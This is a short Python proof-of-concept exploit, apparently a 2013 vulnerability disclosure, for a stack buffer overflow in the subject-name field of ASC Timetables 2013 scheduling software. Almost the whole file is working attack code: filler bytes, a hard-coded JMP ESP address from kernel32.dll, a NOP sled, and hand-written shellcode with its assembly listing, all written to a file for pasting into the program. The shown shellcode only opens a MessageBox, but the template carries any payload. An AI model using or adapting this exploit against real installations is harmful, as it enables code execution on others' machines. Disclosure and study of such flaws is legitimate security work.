#!/usr/bin/python
# Title 			: ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
# Researcher 		: Souhail Hammou (Dark-Puzzle)
# Research Team		: http://itsecurity.ma
# Facebook			: http://www.facebook.com/dark.puzzle.sec
# Date				: 22/06/2013
# Download Website 	: www.asctimetables.com/download_en.html
##########################################################
# Software Details :
# ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.
# it has the features to add school subjects , teachers and manipulate time.
# Vulnerability details :
# The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the 
#school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the 
#software will execute the shellcode which will popup a MessageBox.
# Picture : http://oi40.tinypic.com/30rwc2q.jpg

garbage = "D"*512
eip = "\xCB\xC0\x8F\x75" #JMP ESP from kernel32.dll
nopsled = "\x90"*177
shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"
# I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump
#MOV EAX,11A75823
#SUB EAX,11111111
#PUSH 14
#PUSH EAX
#PUSH EAX
#XOR EAX,EAX
#PUSH EAX
#MOV EAX,11693498
#SUB EAX,11111111
#JMP EAX
ToInsert = open("file.txt", "w")
ToInsert.write(garbage+eip+nopsled+shellcode)
ToInsert.close()